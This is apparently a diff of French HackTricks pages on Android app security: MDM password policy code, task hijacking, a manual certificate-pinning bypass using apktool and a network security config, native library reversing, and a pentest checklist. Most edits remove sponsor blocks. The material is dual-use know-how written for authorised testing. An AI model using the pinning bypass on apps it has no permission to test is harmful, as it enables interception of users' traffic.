- Les **solutions MDM** fournissent une **surveillance et une sécurité** pour les appareils mobiles via l'**API d'administration des appareils**. Elles nécessitent l'installation d'une application Android pour gérer et sécuriser efficacement les appareils mobiles. Les fonctions clés incluent **l'application des politiques de mot de passe**, **l'obligation de chiffrement du stockage**, et **la possibilité d'effacer des données à distance**, garantissant un contrôle et une sécurité complets sur les appareils mobiles.
|
- Les **solutions MDM** fournissent une **surveillance et une sécurité** pour les appareils mobiles via l'**API d'administration des appareils**. Elles nécessitent l'installation d'une application Android pour gérer et sécuriser efficacement les appareils mobiles. Les fonctions clés incluent **l'application de politiques de mot de passe**, **l'obligation de chiffrement de stockage**, et **la possibilité d'effacer des données à distance**, garantissant un contrôle et une sécurité complets sur les appareils mobiles.
|
||||||
```java
|
```java
|
||||||
// Example of enforcing a password policy with MDM
|
// Example of enforcing a password policy with MDM
|
||||||
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
|
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
|
||||||
|
@ -385,15 +377,9 @@ if (dpm.isAdminActive(adminComponent)) {
|
||||||
dpm.setPasswordMinimumLength(adminComponent, 8);
|
dpm.setPasswordMinimumLength(adminComponent, 8);
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
|
|
@ -15,23 +15,15 @@ Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Tâche, Back Stack et Activités au Premier Plan
|
## Tâche, Back Stack et Activités au Premier Plan
|
||||||
|
|
||||||
Dans Android, une **tâche** est essentiellement un ensemble d'activités avec lesquelles les utilisateurs interagissent pour accomplir un travail spécifique, organisées dans un **back stack**. Ce stack ordonne les activités en fonction de leur ouverture, l'activité la plus récente étant affichée en haut comme l'**activité au premier plan**. À tout moment, seule cette activité est visible à l'écran, faisant partie de la **tâche au premier plan**.
|
Dans Android, une **tâche** est essentiellement un ensemble d'activités avec lesquelles les utilisateurs interagissent pour accomplir un travail spécifique, organisées dans un **back stack**. Cette pile ordonne les activités en fonction de leur ouverture, l'activité la plus récente étant affichée en haut comme l'**activité au premier plan**. À tout moment, seule cette activité est visible à l'écran, faisant partie de la **tâche au premier plan**.
|
||||||
|
|
||||||
Voici un aperçu rapide des transitions d'activités :
|
Voici un aperçu rapide des transitions d'activité :
|
||||||
|
|
||||||
* **Activité 1** commence comme la seule activité au premier plan.
|
* **Activité 1** commence comme la seule activité au premier plan.
|
||||||
* Le lancement de **l'Activité 2** pousse **l'Activité 1** dans le back stack, amenant **l'Activité 2** au premier plan.
|
* Le lancement de **l'Activité 2** pousse **l'Activité 1** dans le back stack, amenant **l'Activité 2** au premier plan.
|
||||||
* Le démarrage de **l'Activité 3** déplace **l'Activité 1** et **l'Activité 2** plus loin dans le stack, avec **l'Activité 3** maintenant devant.
|
* Le démarrage de **l'Activité 3** déplace **l'Activité 1** et **l'Activité 2** plus loin dans la pile, avec **l'Activité 3** maintenant devant.
|
||||||
* La fermeture de **l'Activité 3** ramène **l'Activité 2** au premier plan, mettant en avant le mécanisme de navigation des tâches simplifié d'Android.
|
* La fermeture de **l'Activité 3** ramène **l'Activité 2** au premier plan, mettant en avant le mécanisme de navigation des tâches simplifié d'Android.
|
||||||
|
|
||||||
![https://developer.android.com/images/fundamentals/diagram\_backstack.png](<../../.gitbook/assets/image (698).png>)
|
![https://developer.android.com/images/fundamentals/diagram\_backstack.png](<../../.gitbook/assets/image (698).png>)
|
||||||
|
@ -65,11 +57,6 @@ Pour prévenir de telles attaques, les développeurs peuvent définir `taskAffin
|
||||||
* [**https://blog.dixitaditya.com/android-task-hijacking/**](https://blog.dixitaditya.com/android-task-hijacking/)
|
* [**https://blog.dixitaditya.com/android-task-hijacking/**](https://blog.dixitaditya.com/android-task-hijacking/)
|
||||||
* [**https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html**](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html)
|
* [**https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html**](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html)
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Formation HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Formation HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
|
|
@ -13,19 +13,11 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
Certaines applications n'aiment pas les certificats téléchargés par l'utilisateur, donc pour inspecter le trafic web de certaines applications, nous devons en fait décompiler l'application, ajouter quelques éléments et la recompiler.
|
Certaines applications n'aiment pas les certificats téléchargés par l'utilisateur, donc pour inspecter le trafic web de certaines applications, nous devons en fait décompiler l'application, ajouter quelques éléments et la recompiler.
|
||||||
|
|
||||||
# Automatique
|
# Automatique
|
||||||
|
|
||||||
L'outil [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) fera **automatiquement** les modifications nécessaires à l'application pour commencer à capturer les requêtes et désactivera également le pinning de certificat (s'il y en a).
|
L'outil [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) effectuera **automatiquement** les modifications nécessaires à l'application pour commencer à capturer les requêtes et désactivera également le certificat de pinning (s'il y en a).
|
||||||
|
|
||||||
# Manuel
|
# Manuel
|
||||||
|
|
||||||
|
@ -58,11 +50,11 @@ Maintenant, allez dans le dossier **res/xml** et créez/modifiez un fichier nomm
|
||||||
</base-config>
|
</base-config>
|
||||||
</network-security-config>
|
</network-security-config>
|
||||||
```
|
```
|
||||||
Puis enregistrez le fichier et sortez de tous les répertoires, puis reconstruisez l'apk avec la commande suivante : `apktool b *folder-name/* -o *output-file.apk*`
|
Ensuite, enregistrez le fichier et sortez de tous les répertoires, puis reconstruisez l'apk avec la commande suivante : `apktool b *folder-name/* -o *output-file.apk*`
|
||||||
|
|
||||||
![](../../.gitbook/assets/img12.png)
|
![](../../.gitbook/assets/img12.png)
|
||||||
|
|
||||||
Enfin, vous devez simplement **signer la nouvelle application**. [Lisez cette section de la page Smali - Decompiling/\[Modifying\]/Compiling pour apprendre à la signer](smali-changes.md#sing-the-new-apk).
|
Enfin, vous devez simplement **signer la nouvelle application**. [Lisez cette section de la page Smali - Decompiling/\[Modifying\]/Compiling pour apprendre comment la signer](smali-changes.md#sing-the-new-apk).
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
@ -73,8 +65,8 @@ Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
||||||
<summary>Supportez HackTricks</summary>
|
<summary>Supportez HackTricks</summary>
|
||||||
|
|
||||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -15,23 +15,10 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark-web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**.
|
|
||||||
|
|
||||||
Leur objectif principal avec WhiteIntel est de lutter contre les détournements de compte et les attaques par ransomware résultant de malwares volants d'informations.
|
|
||||||
|
|
||||||
Vous pouvez consulter leur site web et essayer leur moteur **gratuitement** à :
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
**Pour plus d'informations, consultez :** [**https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html)
|
**Pour plus d'informations, consultez :** [**https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html)
|
||||||
|
|
||||||
Les applications Android peuvent utiliser des bibliothèques natives, généralement écrites en C ou C++, pour des tâches critiques en termes de performance. Les créateurs de malwares utilisent également ces bibliothèques, car elles sont plus difficiles à rétroconcevoir que le bytecode DEX. La section met l'accent sur les compétences en rétro-ingénierie adaptées à Android, plutôt que d'enseigner des langages d'assemblage. Des versions ARM et x86 des bibliothèques sont fournies pour la compatibilité.
|
Les applications Android peuvent utiliser des bibliothèques natives, généralement écrites en C ou C++, pour des tâches critiques en termes de performance. Les créateurs de logiciels malveillants utilisent également ces bibliothèques, car elles sont plus difficiles à rétroconcevoir que le bytecode DEX. La section met l'accent sur les compétences en rétro-ingénierie adaptées à Android, plutôt que d'enseigner des langages d'assemblage. Des versions ARM et x86 des bibliothèques sont fournies pour la compatibilité.
|
||||||
|
|
||||||
### Points Clés :
|
### Points Clés :
|
||||||
|
|
||||||
|
@ -39,18 +26,18 @@ Les applications Android peuvent utiliser des bibliothèques natives, générale
|
||||||
* Utilisées pour des tâches intensives en performance.
|
* Utilisées pour des tâches intensives en performance.
|
||||||
* Écrites en C ou C++, rendant la rétro-ingénierie difficile.
|
* Écrites en C ou C++, rendant la rétro-ingénierie difficile.
|
||||||
* Trouvées au format `.so` (objet partagé), similaire aux binaires Linux.
|
* Trouvées au format `.so` (objet partagé), similaire aux binaires Linux.
|
||||||
* Les créateurs de malwares préfèrent le code natif pour rendre l'analyse plus difficile.
|
* Les créateurs de logiciels malveillants préfèrent le code natif pour rendre l'analyse plus difficile.
|
||||||
* **Java Native Interface (JNI) & Android NDK :**
|
* **Java Native Interface (JNI) & Android NDK :**
|
||||||
* JNI permet d'implémenter des méthodes Java en code natif.
|
* JNI permet d'implémenter des méthodes Java en code natif.
|
||||||
* NDK est un ensemble d'outils spécifique à Android pour écrire du code natif.
|
* NDK est un ensemble d'outils spécifique à Android pour écrire du code natif.
|
||||||
* JNI et NDK relient le code Java (ou Kotlin) avec des bibliothèques natives.
|
* JNI et NDK relient le code Java (ou Kotlin) aux bibliothèques natives.
|
||||||
* **Chargement et Exécution de Bibliothèques :**
|
* **Chargement et Exécution des Bibliothèques :**
|
||||||
* Les bibliothèques sont chargées en mémoire à l'aide de `System.loadLibrary` ou `System.load`.
|
* Les bibliothèques sont chargées en mémoire à l'aide de `System.loadLibrary` ou `System.load`.
|
||||||
* JNI\_OnLoad est exécuté lors du chargement de la bibliothèque.
|
* JNI\_OnLoad est exécuté lors du chargement de la bibliothèque.
|
||||||
* Les méthodes natives déclarées en Java se lient aux fonctions natives, permettant l'exécution.
|
* Les méthodes natives déclarées en Java se lient aux fonctions natives, permettant l'exécution.
|
||||||
* **Liaison des Méthodes Java aux Fonctions Natives :**
|
* **Liaison des Méthodes Java aux Fonctions Natives :**
|
||||||
* **Liaison Dynamique :** Les noms de fonctions dans les bibliothèques natives correspondent à un modèle spécifique, permettant une liaison automatique.
|
* **Liaison Dynamique :** Les noms de fonctions dans les bibliothèques natives correspondent à un modèle spécifique, permettant une liaison automatique.
|
||||||
* **Liaison Statique :** Utilise `RegisterNatives` pour la liaison, offrant flexibilité dans le nommage et la structure des fonctions.
|
* **Liaison Statique :** Utilise `RegisterNatives` pour la liaison, offrant flexibilité dans la nomination et la structure des fonctions.
|
||||||
* **Outils et Techniques de Rétro-Ingénierie :**
|
* **Outils et Techniques de Rétro-Ingénierie :**
|
||||||
* Des outils comme Ghidra et IDA Pro aident à analyser les bibliothèques natives.
|
* Des outils comme Ghidra et IDA Pro aident à analyser les bibliothèques natives.
|
||||||
* `JNIEnv` est crucial pour comprendre les fonctions et interactions JNI.
|
* `JNIEnv` est crucial pour comprendre les fonctions et interactions JNI.
|
||||||
|
@ -68,17 +55,6 @@ Les applications Android peuvent utiliser des bibliothèques natives, générale
|
||||||
* **Débogage des Bibliothèques Natives :**
|
* **Débogage des Bibliothèques Natives :**
|
||||||
* [Déboguer les Bibliothèques Natives Android en Utilisant JEB Decompiler](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3)
|
* [Déboguer les Bibliothèques Natives Android en Utilisant JEB Decompiler](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3)
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark-web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**.
|
|
||||||
|
|
||||||
Leur objectif principal avec WhiteIntel est de lutter contre les détournements de compte et les attaques par ransomware résultant de malwares volants d'informations.
|
|
||||||
|
|
||||||
Vous pouvez consulter leur site web et essayer leur moteur **gratuitement** à :
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
|
|
@ -9,20 +9,12 @@ Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
||||||
<summary>Soutenir HackTricks</summary>
|
<summary>Soutenir HackTricks</summary>
|
||||||
|
|
||||||
* Vérifiez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
* Vérifiez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
### [Apprendre les fondamentaux d'Android](android-app-pentesting/#2-android-application-fundamentals)
|
### [Apprendre les fondamentaux d'Android](android-app-pentesting/#2-android-application-fundamentals)
|
||||||
|
|
||||||
* [ ] [Bases](android-app-pentesting/#fundamentals-review)
|
* [ ] [Bases](android-app-pentesting/#fundamentals-review)
|
||||||
|
@ -33,8 +25,8 @@ Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
||||||
* [ ] [Fournisseurs de contenu](android-app-pentesting/#services)
|
* [ ] [Fournisseurs de contenu](android-app-pentesting/#services)
|
||||||
* [ ] [Services](android-app-pentesting/#services-1)
|
* [ ] [Services](android-app-pentesting/#services-1)
|
||||||
* [ ] [Récepteurs de diffusion](android-app-pentesting/#broadcast-receivers)
|
* [ ] [Récepteurs de diffusion](android-app-pentesting/#broadcast-receivers)
|
||||||
* [ ] [Intents](android-app-pentesting/#intents)
|
* [ ] [Intentions](android-app-pentesting/#intents)
|
||||||
* [ ] [Filtre d'intent](android-app-pentesting/#intent-filter)
|
* [ ] [Filtre d'intention](android-app-pentesting/#intent-filter)
|
||||||
* [ ] [Autres composants](android-app-pentesting/#other-app-components)
|
* [ ] [Autres composants](android-app-pentesting/#other-app-components)
|
||||||
* [ ] [Comment utiliser ADB](android-app-pentesting/#adb-android-debug-bridge)
|
* [ ] [Comment utiliser ADB](android-app-pentesting/#adb-android-debug-bridge)
|
||||||
* [ ] [Comment modifier Smali](android-app-pentesting/#smali)
|
* [ ] [Comment modifier Smali](android-app-pentesting/#smali)
|
||||||
|
@ -43,7 +35,7 @@ Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
||||||
|
|
||||||
* [ ] Vérifiez l'utilisation de [l'obfuscation](android-checklist.md#some-obfuscation-deobfuscation-information), vérifiez si le mobile est rooté, si un émulateur est utilisé et les vérifications anti-tampering. [Lisez ceci pour plus d'infos](android-app-pentesting/#other-checks).
|
* [ ] Vérifiez l'utilisation de [l'obfuscation](android-checklist.md#some-obfuscation-deobfuscation-information), vérifiez si le mobile est rooté, si un émulateur est utilisé et les vérifications anti-tampering. [Lisez ceci pour plus d'infos](android-app-pentesting/#other-checks).
|
||||||
* [ ] Les applications sensibles (comme les applications bancaires) doivent vérifier si le mobile est rooté et doivent agir en conséquence.
|
* [ ] Les applications sensibles (comme les applications bancaires) doivent vérifier si le mobile est rooté et doivent agir en conséquence.
|
||||||
* [ ] Recherchez des [chaînes intéressantes](android-app-pentesting/#looking-for-interesting-info) (mots de passe, URL, API, cryptage, portes dérobées, tokens, UUID Bluetooth...).
|
* [ ] Recherchez des [chaînes intéressantes](android-app-pentesting/#looking-for-interesting-info) (mots de passe, URL, API, cryptage, portes dérobées, jetons, UUID Bluetooth...).
|
||||||
* [ ] Attention particulière aux [APIs firebase](android-app-pentesting/#firebase).
|
* [ ] Attention particulière aux [APIs firebase](android-app-pentesting/#firebase).
|
||||||
* [ ] [Lisez le manifeste :](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml)
|
* [ ] [Lisez le manifeste :](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml)
|
||||||
* [ ] Vérifiez si l'application est en mode débogage et essayez de "l'exploiter"
|
* [ ] Vérifiez si l'application est en mode débogage et essayez de "l'exploiter"
|
||||||
|
@ -54,7 +46,7 @@ Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
||||||
* [ ] Récepteurs de diffusion
|
* [ ] Récepteurs de diffusion
|
||||||
* [ ] Schémas d'URL
|
* [ ] Schémas d'URL
|
||||||
* [ ] L'application [sauvegarde-t-elle des données de manière non sécurisée en interne ou en externe](android-app-pentesting/#insecure-data-storage) ?
|
* [ ] L'application [sauvegarde-t-elle des données de manière non sécurisée en interne ou en externe](android-app-pentesting/#insecure-data-storage) ?
|
||||||
* [ ] Y a-t-il un [mot de passe codé en dur ou sauvegardé sur disque](android-app-pentesting/#poorkeymanagementprocesses) ? L'application [utilise-t-elle des algorithmes cryptographiques non sécurisés](android-app-pentesting/#useofinsecureandordeprecatedalgorithms) ?
|
* [ ] Y a-t-il un [mot de passe codé en dur ou sauvegardé sur le disque](android-app-pentesting/#poorkeymanagementprocesses) ? L'application [utilise-t-elle des algorithmes cryptographiques non sécurisés](android-app-pentesting/#useofinsecureandordeprecatedalgorithms) ?
|
||||||
* [ ] Toutes les bibliothèques compilées en utilisant le drapeau PIE ?
|
* [ ] Toutes les bibliothèques compilées en utilisant le drapeau PIE ?
|
||||||
* [ ] N'oubliez pas qu'il existe un certain nombre d'[analyseurs Android statiques](android-app-pentesting/#automatic-analysis) qui peuvent beaucoup vous aider durant cette phase.
|
* [ ] N'oubliez pas qu'il existe un certain nombre d'[analyseurs Android statiques](android-app-pentesting/#automatic-analysis) qui peuvent beaucoup vous aider durant cette phase.
|
||||||
|
|
||||||
|
@ -77,13 +69,6 @@ Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
||||||
|
|
||||||
* [ ] [Lisez ici](android-app-pentesting/#obfuscating-deobfuscating-code)
|
* [ ] [Lisez ici](android-app-pentesting/#obfuscating-deobfuscating-code)
|
||||||
|
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Formation HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Formation HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Formation HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Formation HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
@ -93,8 +78,8 @@ Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
||||||
<summary>Soutenir HackTricks</summary>
|
<summary>Soutenir HackTricks</summary>
|
||||||
|
|
||||||
* Vérifiez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
* Vérifiez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -18,19 +18,11 @@ Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
||||||
|
|
||||||
* Vérifiez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
* Vérifiez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
### Préparation
|
